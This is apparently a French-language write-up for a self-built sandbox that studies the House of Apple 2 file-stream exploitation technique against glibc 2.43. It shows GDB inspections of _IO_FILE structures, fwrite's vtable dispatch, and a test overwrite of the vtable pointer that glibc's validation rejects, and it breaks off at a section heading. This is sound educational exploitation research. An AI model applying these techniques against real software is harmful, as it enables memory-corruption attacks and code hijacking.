
Analyse interactive de la technique FSOP House of Apple 2 sous GDB avec glibc 2.43, accompagnée d'un bac à sable reproductible couvrant le contournement de vtable, le stack pivoting et le ROP.
Ce dépôt est un terrain de jeu autonome inspiré du module File Struct Exploitation de pwn.college. Il n'introduit pas une nouvelle variante de House of Apple 2, il répond simplement à ma curiosité sur la manière dont la technique résiste sur les versions récentes de glibc et si elle reste une voie d'exploitation viable. Le document fournit une procédure pas à pas interactive sous GDB que les lecteurs peuvent suivre en parallèle du bac à sable pour développer une compréhension plus intuitive de la primitive. Toutes les expériences utilisent glibc 2.43, telle que packagée par Ubuntu 26.04 et Fedora 44 au moment de la rédaction.
File Stream Oriented Programming (FSOP). Il s'agit de manipuler les structures de flux de fichiers de glibc pour détourner le flux de contrôle. Une façon d'y parvenir consiste à corrompre le mécanisme de dispatch de la vtable de _IO_FILE_plus. Les glibc modernes valident cette vtable, donc l'approche évidente consistant à la remplacer par une adresse arbitraire ne fonctionne pas.
House of Apple 2, initialement introduite par Roderick, contourne cette restriction en utilisant une vtable _IO_FILE_plus valide pour atteindre la machinerie des flux de caractères larges, où une vtable secondaire est directement dispatchée sans validation de plage. Cela fournit une primitive d'appel arbitraire que nous pouvons escalader en un pivot de pile et une chaîne ROP.
Cette exploration suppose que nous pouvons écraser une structure FILE et que nous disposons à la fois d'une fuite de tas et d'une fuite de libc. Le binaire cible fournit déjà cela.
Le bac à sable exécute Ubuntu 26.04 LTS, nous offrant un environnement moderne pour explorer la technique.
L'image inclut GDB, pwndbg, pwntools, ropper et tmux. Elle contient également un binaire cible avec un menu interactif pour invoquer des opérations de flux de fichiers telles que fopen, fread, fwrite et fclose. Cela nous donne un moyen pratique de manipuler les flux pendant le débogage et les tests d'idées.
Construisez et exécutez le bac à sable avec :``` ./build.sh ./run.sh
## Exploration
Commençons par inspecter les structures `_IO_FILE` et `_IO_FILE_plus` :```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
En termes pratiques, _IO_FILE_plus est un _IO_FILE avec un pointeur de vtable. Cela semble immédiatement intéressant : si nous pouvons contrôler ce pointeur, nous pourrions être en mesure de rediriger un appel indirect et détourner le flux de contrôle.
Pour inspecter la vtable, examinons un pointeur FILE renvoyé par fopen.```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
Le pointeur cible la table `_IO_file_jumps`.

Il s'agit d'un ensemble de 21 pointeurs de fonction. Les opérations sur les flux de fichiers sont distribuées via différentes entrées selon le chemin d'exécution.
### Suivre le chemin `fwrite`
Pour cette exploration, je vais me concentrer sur le chemin `fwrite`. Après avoir placé des points d'arrêt sur chaque fonction et appelé `fwrite`, le premier point d'arrêt que nous atteignons est `_IO_file_xsputn`.

L'appel se produit à `fwrite+216`. Cela correspond au [code source de glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44) : `_IO_sputn` est une macro qui effectue la distribution via la vtable, se résolvant en `_IO_file_xsputn` pour ce flux.```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
Pour une première tentative, écrasons le pointeur de vtable avec desired_func - 0x38 et plaçons un point d'arrêt à fwrite+216.```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

L'exécution s'interrompt avant d'atteindre le point d'arrêt. L'erreur suggère que glibc valide le pointeur de vtable avant d'effectuer l'appel indirect. Inspectons la trace de pile pour voir où cela se produit.
`fwrite` atteint `_IO_vtable_check` qui rejette le pointeur de vtable falsifié.

L'implémentation contient un mécanisme permettant d'accepter des vtables étrangères, mais il n'est pas sous notre contrôle. Le code pertinent est disponible dans [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).
### Comprendre la validation de la vtable